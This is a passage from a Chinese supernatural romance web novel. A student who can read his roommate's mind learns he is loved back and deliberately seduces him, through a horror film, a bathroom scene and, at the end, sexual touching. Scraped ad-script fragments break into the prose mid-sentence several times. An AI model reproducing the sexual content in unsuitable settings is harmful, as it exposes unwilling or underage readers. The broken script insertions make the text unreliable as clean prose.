“要不都买了,一人一盆。”顾弛说。 反正宿舍里有两张书桌,一张桌子摆一盆刚刚好。 “本来就是给你买的呀。” 溪白看中的是旁边架子上放着的一盆南天竹,这盆金桔本来就是打算放到顾弛的桌子上的。 “给我买的?”顾弛微讶。 溪白嗯了一声,转头继续去对比那两盆金桔,盯着盯着又弯下腰。 免得一不小心对上顾弛的视线了。 顾弛盯着溪白的后背看了好一会儿,最终还是忍不住靠近了问:“怎么突然想要给我买东西。” 溪白假装没听见,没答。 顾弛又伸手,手背碰了碰溪白的胳膊。 “就,摆点东西,对眼睛好。”溪白头也不抬地摸了摸鼻子,说道。 顾弛轻轻喔了一声。 带着点不是很相信的味道。 溪白只当没听懂,又抬手摸了摸鼻子。 咳…… 金灿灿的金桔什么的,和微笑大狗的气质比较配。 他左右看了看,最终还是决定选比较精神的那一盆。 毕竟是大型犬么,总得配个气质挺拔点的。 溪白抱着金桔想去结账,拿起来才发现比他想象的还要轻,几乎一只手就能拖起来。 他掂量着盆栽的重量,就听见旁边一个举着相机的男生腻着嗓子,“来宝宝,嘴巴嘟嘟,好,就是这样!” 溪白循着那一阵咔咔咔的快门声望去,就见是一对小情侣。 女生穿着一件非常漂亮的旗袍,手里托着一盆比巴掌还小的姬月季,正摆出各种姿势,而她的男朋友负责在旁边指导拍摄的动作,背上的包里大大小小设备齐全,应该是做自媒体的网红。 “抱歉,拍摄需要,再拍完几张素材我们就走。”女生见有人看过来,不好意思地朝其他客人点头致歉。 听见动静赶来的店家听见她说的话,本想轰人的心思也就作罢了。 “没事,你拍吧,不要影响到其他客人选购就好。” 店里的花卉摆放不是非常密切,空间也比较大,加上那对小情侣的拍摄动静也挺小,很快就没什么人注意他们了。 唯独在南天竹货架前挑选自己那盆东西的溪白,远远听见男生举着相机,边指导女朋友摆pose,边夸赞了一句:“宝宝真可爱!” 可爱。 这话刺溜一下就钻溪白耳朵里了。 从今天出门开始,溪白就励志于多刺激刺激顾弛,想从对方心里听到除了夸他“可爱”意外的其他心声,以此推测顾弛对他究竟是什么想法。 可溪白使出了浑身解数,不仅没有新的收获,反而连“可爱”两个字都听不到了。 他看了一眼身旁也在帮他参考的高大身影,不动声色地饶过货架换了个位。 站在本来的位置对面,溪白的方向恰好能看到那边正拍摄的那对小情侣。 女生走到了溪白刚刚去的那片货架前,拿起了溪白没买的那盆最茂盛的迷你金桔,放到面前,做出捧心的动作。 “好,嘴巴亲亲……”男生继续指导,“……好,真可爱我宝宝!” 溪白默默观察着。 所以其实这样才是男生眼里的可爱? 他很少有在内心夸赞别人可爱的时候,更别说宣之于口了,所以对此也没什么经验。 于是,他又一次困扰起来。 一直到那对网红情侣拍摄完毕安安静静地离开了,溪白都还没回过神。 拎着一盆南天竹回来的顾弛连续喊了他好几声,溪白才猛地回头。 “……” “哦!”溪白立刻去接顾弛手里的盆栽,抱着那盆火红的南天竹不停点头,“你挑的这盆很好呀,根茎壮实像首乌,枝叶繁茂但不杂乱……嗯,就这盆了!” 顾弛沉默地看着溪白明显有些浮夸的反应。 但溪白并没有注意到顾弛的眼神,他的心思还在别的事情上。 将南天竹交还给顾弛,他拿过那盆轻巧一点的金桔,盯着花盆上的“猫狗双全”看了好一会儿…… 溪白的嘴角抽搐了一下。 他到底也没好意思做出嘟嘴的动作,而是把那盆迷你的金桔双手捧起,放了自己的脸旁边——像刚刚那个网红小姐姐拍摄时的动作一样。 溪白:盯。 顾弛:……? 果然不行! 溪白立刻给递出早已准备好的台阶:“这盆你满意吗?” 顾弛缓缓地点了点头。 “行。”溪白简短地吐出一个字,将金桔抱好,转身,大步向前,“结账吧。” 留给顾弛一个干脆利落的背影。 耳朵一直烧到回宿舍,溪白只要一想起刚刚他在顾弛面前刻意卖萌的动作,就羞耻得要命。 而且不知道顾弛是不是发现了他的心思,开车回来的路上总是时不时地转头过来看他一眼,表情欲言又止。 回到宿舍,溪白终于算是缓过来了一点。 打开车后厢一清点,别说,他俩还买了挺多东西。 除了南天竹、金桔、春联几样,溪白还买了点小挂饰,还有买给庄家两兄弟的礼物,又买了点坚果零食饮料,准备跨年夜的时候看春晚或者看剧看电影吃…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 买的时候不觉得,放在一起就多了。 “分几趟搬吧。”顾弛说。 溪白点了点头,“嗯。” 其实重量相对大点的就是那盆金桔和南天竹了,溪白对于顾弛刚刚单手拎花盆的事还是略微心有余悸的,特意叮嘱了一句:分开两趟搬,一趟拿一盆。 顾弛搬花,溪白在楼下整理一些零散的小件,像狼毫笔和朱砂石都是有盒子装着的,可以跟同样有包装的春联之类的东西放在一起。 而零食坚果那些也都是打包好的,就可以放到另一个袋子里。 溪白清点完,点了点头,顾弛力气大,等他放完盆栽下来,两个人一起拿剩下的东西,大概两趟就差不多了。 身后传来一阵脚步声,到了后背处似乎突然停了下来。 这个时候学校里人不多,溪白回过头,却不想碰上的恰好是认识的人——勉强算是认识吧。 “诶!”溪白朝那人点了点头,“……你好啊。” “咳。”吴项咳嗽了一声,拧着脖子不自然地上前,“那什么,问你个事。” 距离两人第一次见面,其实也就过了不到半个月。 吴项还是那么瘦,脸色总让人感觉他身上带着点虚弱的病气,可但凡当日亲眼看过他和顾弛在院赛上打球时的样子,都会清楚地认识到这人看似病弱的皮囊下,其实藏着恐怖的体力和爆发力。 “有什么事吗?”溪白不动声色地往后退了一点。 虽然现在的吴项看着不如他去给顾弛拿药,也就是两人第一次碰面时看上去那般阴翳了,但溪白还是多少带着点警惕。 “……”吴项将他的小动作尽收眼底,沉默了一会儿,想起自己还有求于人,于是把到嘴边想要嘲讽的话又咽了回去。 “那什么。”吴项开口,“你能联系得到庄术吗?” “哦!庄术啊……”溪白反应过来便笑出了声。 吴项:…… 被吴项瞪了一眼,溪白立刻收敛了表情,“咳,我联系得到。” 他在群里艾特了一下庄术,很快,就有了回音。 [术上骑个猴:怎么啦小溪崽,新年快乐!] 新年新气象,庄术还给他取了新外号。 溪白和他回了句新年快乐,跟庄术说了一下吴项在找他的事情。 [术上骑个猴:对噢,这几天忙,差点把那家伙给忘了] 农历春节是一年里少有的大吉之日,寓意辞旧迎新,万象更新,所以每年的这个时候,庄家的天师子弟们总是特别忙碌,作为年轻一代翘楚的庄术,更是忙上加忙,到处跑给人做法事、看风水、开坛祭祖、立灵位…… [术上骑个猴:你让他来找我吧] 溪白正和庄术沟通见面地点,突然感觉身后一阵劲风。 他回过头,只看见弯月形的锐利金光从自己面前如刀一般划过,但回过神的时候,却又感觉刚刚那一瞬好像只是他的幻觉。 但吴项却是真的退开了。 他本来站在溪白旁边,低着头看溪白屏幕上和庄术的聊天框。 但现在他距离溪白的距离,足足有两三米远。 取而代之立在溪白身旁的,是不知道什么时候出现的顾弛。 50.第 50 章 “你干什么?”顾弛冷声道。 他怒目而视的样子哪还有平日里的微笑大狗气质,像是了一头被他人觊觎了自己心爱的宝物,浑身的毛发都炸起来的狼。 虽然溪白回想起来,只觉得刚刚那什么金光应该是顾弛到他身旁时留下的影子,因为他刚好回过头,产生了一瞬间的视觉误判。 但吴项却一清二楚,刚刚那一瞬间,顾弛是真的动了杀心。 溪白所看到的金光,其实是顾弛体内的元神脱离了肉·体的桎梏,直接用神识的力量砍了他一刀。 若不是吴项刚刚躲得快,他现在的魂体恐怕已经被切成无数碎片了。 疯子…… 吴项咬了咬牙,冷着脸和顾弛对峙,但他有脾气也不敢发。 他根本打不过顾弛。 更别说,他脖子上还有一个属于地府的禁制了。 顾弛可不管吴项欲骂又止的表情,他眼神森寒,警告了对方一眼。 下一秒回过头时,声音在一瞬间软下。 “他没对你做什么吧?” 顾弛说着,手下意识地轻轻扣住了溪白的手腕。 溪白顿了顿,才摇头。 “没有,他找庄术。” 顾弛看了一圈溪白,发现他的确毫发无损,这才意识到自己有些过分担心了。 但他还是扫了一眼吴项:离溪白远点! 吴项:…… 跟溪白要到了找庄术的地址,一刻也不想多留。 他转身欲走,但迈出两步,又停了下来。 带着点澄清的意思,又多少混着点别的坏心眼,吴项勾了勾嘴角,回头看向车旁拿东西的两人。 “我可没有抢夺别人所有物的爱好。” 说完,他趁着顾弛还没反应过来,头也不回地快速走了。 直到人都走远了,溪白才缓缓回神。 “他说的是谁?”溪白看向身旁。 吴项说的怎么好像是自己? 溪白一脸纳闷,想了想,又转头去看顾弛。 是说的我吗? 可顾弛却并没有看他,准确地来说,从方才一开始,顾弛就移开了视线,没有和溪白对视。 他背对着溪白,默默咬牙。 吴项干脆直接和溪白说自己喜欢他得了! 溪白见顾弛不敢看自己,他忙不迭地辩驳了一句:“我可没有对象啊!” 只是那背影依旧沉默了良久。 最后他只听见顾弛“唔”了一声。 男生提起东西,目不斜视,“走吧,回去了。” 溪白拿着自己负责的东西赶紧跟上。 顾弛到底信了没有啊! 不过……顾弛是不高兴了吗? 溪白眨了眨眼,察觉到了别的什么。 所有东西拿回宿舍,溪白正在桌前,把袋子里的东西一一捡出来。 刚才顾弛发现有几瓶饮料放在车载冰箱上了,所以调头下楼去拿。 溪白把两盆植物摆好,将零食和饮料拿出来,该放冰箱的放冰箱,该密封的密封。 春联还没那么早贴,溪白先和双面胶一起收好放进了抽屉里。 剩下最后的,是一串火红色的小辣椒挂饰——他在逛完集市走回头路的时候恰好看到一个老太太摆着摊,一边卖一边现场手工缝制的。 旁边还有个扎着两根小短辫的小姑娘,捧着老太太缝制的各种小物件,问路过的人们要不要买东西。 溪白路过看到就停了下来。 他边挑边和老太太聊了会天,她说她的儿子女儿都出门打工去了,要到除夕才回来,旁边的小丫头是她的孙女,正在上小学。 她趁着这两天人多,出来卖点自己编织的小玩意儿,贴补点家用。 溪白想着宿舍里刚好也能挂点东西,就买了一串红辣椒的挂饰。 一根根小辣椒紧促地螺旋排列在中间的枝条上,每一颗都用棉絮填充得饱满严实。 溪白拿着在宿舍里逛荡了一圈,最后觉得不如直接挂在床头上吧。 床头那边有个空置的蚊帐杆,挂起来后辣椒藤末端的流苏垂下,应该恰好到床头。 溪白回来后还没来得及换鞋,看了一下高度,伸直胳膊比划了一下。 好像有些高。 他本想着要不爬上床去挂吧,可摸到床梯的那一刻,不知怎么的,溪白就开始走神。 先是想起今天自己努力想要刺激顾弛,可对方不仅毫无反应,甚至连“可爱”这两个字都不在心里偷偷夸了。 然后又从顾弛身上开始,联想起之前好几次他想要晒衣服时发现自己够不着,而顾弛却一伸手就能把衣架挂上的场景。 心底顿时涌现出几分郁闷,郁闷又转变为不服气。 溪白仰脸琢磨着。 自己真有那么矮吗? 不至于吧,他穿鞋好歹也有一米八,顾弛也就比他高个十五六七……二十公分吧! 于是溪白又拿着东西走回了床头。 回头看了一眼,顾弛似乎还没有回来,溪白犹豫着,拿着辣椒串的手攥紧。 他才不信自己个子有那么矮。 于是顾弛拿着饮料回来的时候,还没推门就听见一阵“咚咚咚”的声音。 溪白在干什么? 他放轻了动作,好奇地推开门走进去,动静小得屋内的溪白都没注意到。 或者说此时溪白涨红了脸,努力地深呼吸,憋着一股劲,双腿用力往空中跳第不知道多少次。 他伸长了胳膊去够床头的蚊帐架,但捏在手里的挂绳圈,总是差上那么一点。 溪白甚至还一只手抓着床边的围栏借力,想要让自己跳得更高一点。 顾弛站在门口,手里提着东西,就这么盯着溪白的身影一上一下,一上一下。 他不知道看了多久,直到回过神,抬起手摸了摸自己的心口。 顾弛往前走去。 溪白还在蹦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跶,心里嘀咕这蚊帐架怎么装这么高。 结果一个分神,落地的时候左脚和右脚绊了一下,整个人重心失衡,直接向身后载去。 糟了,溪白心说。 他都闭上眼睛,做好了摔在地上迎接剧痛的准备了。 可出乎意料的是,预想之中的疼痛感并没有到来,相反的,他被一双手臂环住,牢牢地抱进了一个滚烫而温暖的怀里。 溪白回过头,看到顾弛的那一刻,整个人彻底地放松了下来。 还好顾弛回来的及时。 但他一口气都还没松完,突然又意识到了另一件事。 他往后摔是个意外,自己都没反应过来,基本上也就是一瞬间的事。 但顾弛却几乎是在第一时间就把他给接触了。 那岂不就是说,顾弛很早之前就已经回来了,只是一直站在后头,没有出声。 那他刚刚蹦跶个不停的样子岂不是也…… 溪白靠在顾弛怀里,整张小脸肉眼可见地从白皙开始,浮现出一点绯红,再到热度上升,红意在几秒钟之内就爬满了整张脸。 顾弛就这么看着他的表情变化,感受着怀里的人轻轻扭动了一下。 半张脸都撇到一旁,溪白不去看顾弛。 但身旁传来的视线就像找到了焦点一样,盯着他,存在感重得无法忽视。 于是溪白又扭过身,把半张脸埋进顾弛的胸口和手臂之间。 望着那都要开始滴血的小耳朵,顾弛的眼睛里,漾开一丝深邃的,难以言明的情·欲。 喉结重重地上下滚动了一下,顾弛放轻了声音,像是唤,又像是哄。 他也不知道自己在哄什么,但现在,他就是本能地想要把声音放低,在溪白的耳边轻轻叫他的名字。 “溪白。” 溪白颤栗了一下,浑身的汗毛都在这一刻倒竖起来。 他故意不作回答,然后就又听见顾弛唤了自己一次。 声音比刚刚更沉,呼吸似乎也比刚刚更近了。 “溪白。” 将脸埋得更深,溪白像把脑袋戳进沙地里的鸵鸟一样,想要逃离这让他心跳不断加速的“危险”。 却在此时,终于又一次听到了顾弛的心声。 「真可爱。」 一整天,溪白怎么努力都没再听到过的话语,终于在此时重新响起。 他内心轻轻哼了一声,被顾弛撞破自己个子不够还拼命蹦哒的场景后倍感羞耻和羞恼的心情,稍稍缓解了一些。 耳朵上饱满欲滴的血色悄然褪去一点,溪白浓密纤长的睫毛轻轻动了两下。 正当他想要起身假装什么都没发生的时候。 他又听到了顾弛的“声音”。 「溪白真可爱。」 知道了知道了。 溪白心想着,准备撑着顾弛的胸肌从对方怀里起来。 「好喜欢。」 手一抖,溪白整个人又跌了回去。 51.第 51 章 顾弛刚刚说了什么? 溪白甚至以为自己出现了幻觉,他下意识地搓了搓自己的耳朵。 血红饱胀的耳垂被指节捏着揉圆搓扁,顾弛微微眯起眼睛,舔了舔唇,心里控制不住地又念叨了一句。 「溪白真可爱,好喜欢他」 溪白整个人都傻在原地了。 如果刚刚他还要犹豫一下是不是自己大脑血液回流量过大导致听力出现了幻觉,那这第二句字正腔圆的“喜欢”,就是无可否认的板上钉。 顾弛也喜欢他? 一直怀疑是直男且憨憨的室友,突然某一天暴露了他也喜欢自己。 从暗恋变成了双向奔赴,意外和惊喜一同涌来,导致溪白整个人都有点傻。 “溪白?”顾弛歪着头看突然像是被施了定身术,耳朵不热,脸也不红了的溪白,“你没什么不舒服吧?” 溪白猛地回神,抬头对上那双充满关切的浅褐色眼睛。 “没,我没事。” 他从顾弛的怀里挣脱出来站稳,将手里的辣椒串递了过去。 “我不够高。”溪白指了指头顶的蚊帐架,“你挂一下吧。” 顾弛伸手接过,没动作,有些担心地观察着溪白的神态和反应。 直到溪白再次重审自己真的没事,还挤了个笑容出来,顾弛才勉强回过了头,伸手去挂那串小辣椒。 顾弛回身,溪白张大嘴猛地深呼吸了几口气。 他的心跳再一次疯狂加速,视线紧盯着面前那肩宽腰窄的背影。 “这样?”顾弛固定好辣椒串的位置,问溪白。 溪白抬头看了一眼,刚刚那让他跳了几十次都摸不着的蚊帐架,此时边缘正端端正正地挂着那串鲜红的小辣椒。 溪白不知道,自己刚刚脸红的时候是不是也是这个颜色。 “嗯,就这样就行。” 等顾弛回头时,溪白已经竭力让自己冷静了几分。 不是他不上头,是他必须要克制一下自己的反应,才能不在顾弛面前失态。 他当然想表白,当然想直接和顾弛说“我也喜欢你”。 但他该如何解释自己能读到顾弛心中所想的事情?对方一个人类,猛然间知道有个人能读自己的心,在这个人面前完全没有任何隐私可言……溪白不知道顾弛究竟会做出什么样的反应。 会不会就因此而不喜欢他了呢? 这样的后果可能性,让本来血液有些沸腾的溪白渐渐冷静了下来。 他抬起头,望着表情还带着点担心的顾弛。 唇角弯起一个带甜味的弧度,溪白抬起手,轻轻抓住了顾弛的胳膊。 他眼睛亮晶晶的,语气带着十足认真的夸耀:“果然个子高就是好,这种事情还是得你来。” 顾弛目光发直地回盯着,溪白这话呲溜一下钻进了耳朵里,那带着明显仰慕和依赖的语气,让他前所未有的,开始有些飘飘然起来。 “以后如果有什么东西要弄的,你让我来就行。”顾弛干巴巴地说了这么一句。 溪白的笑容更大了点,“好呀,那以后就交给你了。” 一句夸奖,加一个可爱到让人心颤的笑,就这么轻而易举的,让顾弛整个人心脏飘飘了一个下午。 溪白坐在自己的位置上,看着连脚步都浮了的顾弛,悄悄勾了勾嘴角。 其实认真思考下来,也不需要暴露自己能读心的事实。 既然他已经明确知道顾弛喜欢自己,便不再需要像之前那般缩手缩脚地去试探,怕自己一不小心,就脑补多想了什么。 那么剩下要水到渠成的方式,就很多了。 ※ 晚饭点的炸鸡和烧烤,不健康,但好吃。 等外卖的时候,溪白把一听无糖可乐和一听柠檬茶放到了窗户外,估计送到的时候就冻得差不多了。 顾弛接到外卖电话就下了楼,溪白则将冻得扎手的两罐饮料拿了进来,顺便给桌子铺上了一层一次性桌布,备好了纸巾和一次性手套。 最后一步,是打开他的电脑,重复着“看一眼,然后迅速低下头”的动作,挑好了一部声名赫赫的电影。 等顾弛提着几大袋外卖回来的时候,看到的就是桌子前面整齐而紧密地排列着自己和溪白的靠背椅。 溪白正盘着腿坐在小的那一张上,朝他笑眯眯地伸手拍身旁的椅背。 “找到一部很出名的片子。”溪白努力维持着脸上强硬挤出来的微笑,“边吃边看。” 顾弛将外卖放到桌面上,看了一眼特别 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 积极地拆外卖袋子的溪白。 他总觉得溪白的表情有什么不对。 又看了一眼在漆黑一片的电脑屏幕上立着的大大的白色暂停标识,顾弛没说什么。 电影。 他听谢必安和范无赦说过,是百年前出现在华夏的一种舶来品。 非要说的话,和古时候的皮影戏有些像,都是幕布上出现会动的人影。 或许可以理解为“很长的长视频”之类的东西?——不久前刚在网络上被人科普了“弹幕”是什么的顾弛看了一眼显示时间有2个小时的进度条,如此想到。 凭借猜测,顾弛准确get到了“电影”的含义。 他和溪白一起拆了外卖,刚打算坐下,又被溪白抬手叫停。 顾弛不解地看去。 溪白吞咽了一下,又抿了抿唇。 “把灯关了吧。”溪白说着,拧开桌面上的台灯,调到了最暗的亮度,他笑着朝顾弛道,“黑一点看电影才有氛围。” 顾弛哦了一声,乖乖转身关灯去了。 黑暗在宿舍里落下,唯余一点残灯,还有屏幕上幽幽的荧光。 溪白嗓子眼里又咕咚一声。 身旁的靠背椅被人伸手拖开,他听见了顾弛坐下时的声响。 冷静点……溪白告诉自己。 顾弛还在身边呢。 “这……” “啊!” 惊叫声回荡在夜色之中,溪白回过神意识到跟自己说话的时顾弛,忙不迭地道,“没,没事,我,我不怕!” 他在心里暗骂自己糟糕,明明打算表现得平静一点,等到了最吓人的部分,再“不小心抱住顾弛的胳膊”来着。 谁能想到开头就被吓成这样。 啧……溪白懊恼地埋怨自己。 黑暗里,顾弛眼睛悄然浮现出一抹暗红,人类弱小的视觉在此刻被替代。 溪白的动作和神态,被他的眼瞳捕捉得一清二楚。 紧张摆动的手,微微胀红的脸颊,还有带着点倔劲,不肯承认自己被吓到时的强撑。 「真可爱」 溪白一愣,恐惧在听到顾弛心声的那一刻,转化成了疑惑。 咦,又可爱了? 自己刚刚干什么了? 52.第 52 章 “所以这部电影……”顾弛认真地使用刚刚正式接触到的新词汇,“是讲什么故事的?” “我也没看过,就是名气很大,我只知道名字。”溪白小心翼翼地撒了个小谎。 但在他敲下空格,暂停键消失,伴随着一阵幽幽的诡异音乐,一行血红色的大字逐渐浮现,给出了问题的答案。 恐怖片。 或者用顾弛的话说:鬼戏。 人类有恐怖片,鬼当然也有鬼戏,只不过对于鬼来说,看恐怖片就和人类看普通同类演的故事是一样的。 对此全然不知,只想着执行“计划”的溪白强忍着内心的害怕,给自己和顾弛各拿了一副一次性手套,戴上后还要强撑着语气自然的样子。 可实际上他的小心脏已经开始颤抖了。 “吃呀,别发呆。”溪白拿了串羊肉,“听说不,不怎么吓人的……” 顾弛没说什么,既然溪白喜欢看,他便陪着看就是了。 而且他看刚刚片头的名字是认不得的洋文,看来这部片子还是舶来品。 刚好他也有兴趣,想看看东方和西方的鬼怪,究竟有什么本质上的区别。 电影的前半段,基本上就是在铺垫后续的剧情,但处处埋设的一些诡异细节,还是有些让人细思极恐的。 不过反常的是,溪白并没有太看进去。 他双手拿着一块炸鸡腿排啃,一边啃一边观察着旁边的动静。 他喝的柠檬茶,可乐给了顾弛。 在身旁的男生专注地看着剧情,拿起可乐喝了一口又放下时,溪白伸手,轻轻碰了碰他。 “我也要。”溪白说。 屋子里很暗,连他的声音也不自觉变得软软的。 顾弛动作停顿了片刻,才反应过来,犹豫着伸出手,拿起桌面上的柠檬茶,将瓶身递到了溪白面前。 溪白低头咬住吸管。 就着顾弛的手,直接喝了一口。 “谢谢。”溪白声音软软地又说了一句。 顾弛含混地嗯了一声,又重新看向屏幕。 只不过这一次,他就远远没有刚才那么聚精会神了。 一边吃一边看,顾弛拆了袋鸡块。 刚吃了一块,就听溪白的声音传来。 “那个好吃吗?” “……还行。”顾弛道。 盘着腿的溪白用手肘撑着靠背椅的扶手,往顾弛那边挪蹭。 他手里还拿着串羊肉,明显腾不开,但想吃的想法又表露地很明显。 顾弛默默把手伸进袋子里,拿了一块。 “有甜辣酱吗?”溪白问。 顾弛默默蘸酱。 “嘻嘻。”溪白笑了笑,张嘴,“啊——” 顾弛喂他吃了半块,溪白咬着剩下的一半,仰起脸将整块鸡块都吞进了嘴里。 甜辣酱沾到了唇角,他下意识地伸出舌头舔了舔。 屋内的光很暗,电影剧情又不知道进到了哪一步,光线变得黑乎乎的。 溪白连自己的手都看不太清,可顾弛的眼睛,却把那一小节看着十分柔软,灵活地舔了舔唇角的粉色舌尖给捕捉了个一清二楚。 顾弛突然觉得嘴里的肉有些没滋味了。 相比起来,他似乎更想要尝一尝别的东西。 溪白的想法仅限于让顾弛喂他吃鸡块,反而自己后面下意识的举动完全没有去刻意多想。 因此他更不知道顾弛此刻的心潮早已掀起了阵阵波澜。 溪白吃着鸡块转过头,看向屏幕。 屏幕上漆黑一片的房间里。 一个满脸是血的扭曲怪脸,毫无预兆地突到了眼前。 溪白的尖叫和屏幕上厉鬼的尖叫几乎重叠在一起。 顾弛下意识地伸手将扑过来的人一接,回过神低下头的时候,溪白已经像考拉一样整个人挂在他的怀里了。 溪白的脑袋靠着顾弛的胸肌,却没有像往日里那样有蹭一蹭的冲动,产生一种疯狂心动和冒粉红泡泡的感觉。 他现在满脑子想的是:到底谁造谣的看恐怖片有助于增进感情啊! 而相比起心脏里的小鹿可能已经被吓死了的溪白。 顾弛默默把人抱紧了一点,他抬起头看了一眼屏幕上缓缓褪去的鬼脸。 啧,真丑。 又低头去看溪白。 本还紧紧贴着顾弛的胸口,双眼紧闭着的溪白突然顿了一下。 片刻后,他默默抬起视线,看了一眼用手臂环着自己,没什么表情看着身后电脑屏幕,像是完全没有被吓到的顾弛。 刚刚他听到字正腔圆的一句。 「被吓到的溪白,真可爱。」 溪白:…… 不是? 还真有用啊! ※ 顾弛撩拨计划一:恐怖片——进行得非常失败。 但效果却意外地成功。 溪白和顾弛一起收拾好了餐后的垃圾,后者把垃圾打包好丢出了门口。 “抱歉。”溪白开口,“把你衣服弄脏了。” 顾弛低头看了一眼自己的衣服。 刚刚溪白被鬼吓到的时候,戴着手套的双手下意识地将顾弛的腰给抱紧。 两片油乎乎的手印,正印在顾弛的衣服身侧和后背上。 “没事,洗一下就掉了。” 顾弛说着,直接将衣服脱了下来。 溪白的双眼迅速睁大,看着那片随着布料掀起而露出来的精壮胸肌。 他磕磕绊绊地嗯啊了一声,“那我帮你丢洗衣机。” “没事,我刚好去洗个澡。”顾弛扯了浴巾,走出两步,又问溪白,“你还怕吗?要不我再在这里多待一会儿?” 溪白赶紧摇了摇头。 他的目光控制不住地从那片漂亮的胸腹肌上扫过,又悄悄描摹了一下那清晰的人鱼线。 如果顾弛再多呆一会儿,宿舍里可能就又要多一个鬼了。 会多一个色·鬼。 溪白非常不好意思地这么想自己。 不过,洗澡的话…… 溪白摸了摸下巴。 准备实施计划二! 半小时后,和溪白交换了位置,正坐在桌前吹头发的顾弛,听见了浴室里传来的呼唤。 他放下吹风机。 浴室门打开了一条缝,一双乌黑圆溜溜的眼睛,从门缝里探了出来。 “顾弛,我裤子忘拿了。” 溪白小声地说着,眼神清澈地看着一门之隔的另一人,寻求帮助。 “你能帮我拿一下吗。” “裤子……”顾弛的喉结不安分地动了一下,眼珠一错不错地盯着眼前的光景。 虽然缝隙不大,但却恰到好处地露出来半截溪白的肩头。浴室里白雾水汽氤氲,但却依旧遮不住那胜似春雪般的一片细腻洁白。 或许是因为浴室内的温度太高,溪白的唇色显得比以往要红,还带着点潋滟的水光。 顾弛就盯着那说话间开开合合的小嘴,喉结又滚了一下。 他好像有些渴。 “裤子是吗。”顾弛听见自己的声线有些哑,“放在床上?” 也许是因为交谈的是裤子,边说着话,顾弛的视线边开始有些控制不住,像是有什么无形的力量引导着,开始向下打量。 溪白嗯了一声,“就放在床头,枕头旁边。” 随着他话音落下,顾弛的目光也已经到了肩膀之下另外的地方。 溪白那很瘦很瘦的,他单臂搂一圈都轻松的腰挡在了门板后,而再往下……顾弛想着,看到了一小片圆白,而且饱满的弧度。 顿了一下。 反应过来。 落荒而逃。 “你稍等一下。” 溪白看着那咻一下钻进房间的高大背影,唇角勾起,目光斜落,低头看了看自己,笑容更大了些。 看样子,效果还不错? 而室内,顾弛站在床边,双手紧握成拳。 他大口呼吸着让自己冷静下来,上涌的气血随着时间的流逝,艰难地平复。 对了,还要给溪白拿裤子。 顾弛回过神,走到床边寻找,目光锁定在床头,他看到了……又一片雪白。 !! 顾弛本来以为溪白忘记拿的是睡裤,所以刚刚并没有多想。 但此时此刻他才明白,溪白说忘记拿的裤子,究竟是哪一条。 震惊归震惊,但手已经失控一般伸了过去。 布料入手,方知其轻。 很薄,很软,应该很贴身。 方才那让他气血贲张的一幕再度浮现,顾弛看了一眼手里的裤子。 好小,就比他巴掌宽一点。 他控制不住地开始脑补,溪白穿着它的时候,这条裤子应该也会变成和刚刚他所看到的那片雪白同 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 样的……饱满。 又看向自己的手,经过了一番联想,此时此刻,他只觉得自己手里放着的不只是那一片布料,而是变成了溪白的…… 鼻子一阵发酸,顾弛下意识地捏了一下自己高挺的鼻梁。 他赶紧看了一眼旁边的镜子。 还好,没有什么问题。 “顾弛,好了吗,我有点冷了。” 溪白的声音传来,顾弛立刻应了一声。 他拿着那条布料出了阳台,从门缝里递给溪白。 目光又一次失控般向下,但是还没来得及再一睹其真容…… “谢谢啦。” 溪白伸手拿过自己的小裤衩,砰一下把门关上了。 顾弛的手还保持着伸出的状态。 良久,他用力闭上眼睛,带着几分苦恼,抬手按了按自己的脸。 但没按两下。 鼻尖翕动,顾弛眨了两下眼睛。 有点,很淡的,甜甜的香气。 在自己的掌心。 是刚刚留下的……溪白的味道。 他的脸瞬间涨红,鼻子好不容易缓解了些许的酸胀感,再一次冲上了脸。 以至于脚边的滴答声响了一阵,他回过神低头,发现脚下的瓷砖面上,已经布满了绽落的血迹。 顾弛立刻转身拧开冷水龙头。 他弯着腰,站在洗手池边,手忙脚乱地给自己止血。 而另一头,对此毫不知情的溪白,在拿着浴巾擦干身体,穿上睡衣和小裤衩后,望着头顶滴水的花洒,陷入了沉思。 嗯……溪白沉吟片刻,手伸向了一旁的水阀。 身后传来开门声,顾弛匆忙地将手里染着血迹的纸巾团好扔进了垃圾篓里。 他回过身,开口,“你洗完……” 话说到一半,就又卡在了嗓子里。 溪白正抓着自己的睡衣下摆,撩起一点,布料下一截纤细的腰若隐若现。 而再往下,他并没有穿平日里的长睡裤。 唯一覆盖着的布料,是顾弛刚刚拿给他的,那雪白的裤头。 偏偏不知道为什么,那布看着,要比刚刚顾弛拿给他的时候更……透。 “不小心弄湿了。”溪白说。 顾弛闭了闭眼睛。 因为溪白的这一“不小心”,本身白色衣物就比较偏透明的特性,瞬间放大了不知道多少倍。 屋里的暖气好像开得太大了,蒸得人脸色发红,连大脑都开始有些迷糊。 加之刚刚看电影时溪白让关了灯,直到现在,唯一的光源都还只是那色调暖融融的台灯,暖黄色的光晕照亮了室内,却也让对面彼此的身影,蒙上了一层暧昧的痕迹。 也幸亏光不是很亮,否则很多细节只会更加清晰。 顾弛刚刚只是扫了一眼,但过分敏锐的视觉感官,让那一瞬的景色深深印进了他的脑海里。 很白,很圆很饱满,看起来,手感很软…… 刚止住的血,此刻又有重新喷薄而出的趋势。 溪白立在光里,静静地看着面前的男生,也在观察着顾弛的反应。 说实话,他也很羞涩。 毕竟从来没谈过恋爱,更没试过像现在这样,处心积虑的,用各种各样的方法,去撩拨一个自己暗恋了很久,也才刚知道对方也喜欢自己的人。 但他必须要拿下顾弛。 溪白定了定因为害羞而有些动摇的心。 他刚上前一步,就见顾弛动作飞快地伸手在旁边的床上抓了一把。 平日里他穿的睡裤,被对方递到了面前。 “你先,穿,穿上吧……”顾弛说。 话都有些说不利索,更别说表情了,溪白借着微光,清楚地看到顾弛侧着脸,视线直直地看着地面,都不敢望他。 目光往下移,溪白纤长的睫毛垂着,轻轻动了两下。 他上前一步,伸手。 却没有接顾弛给他的衣服。 相反,他的手带着过分的大胆,轻轻握住了此刻精神奕奕的顾弛。 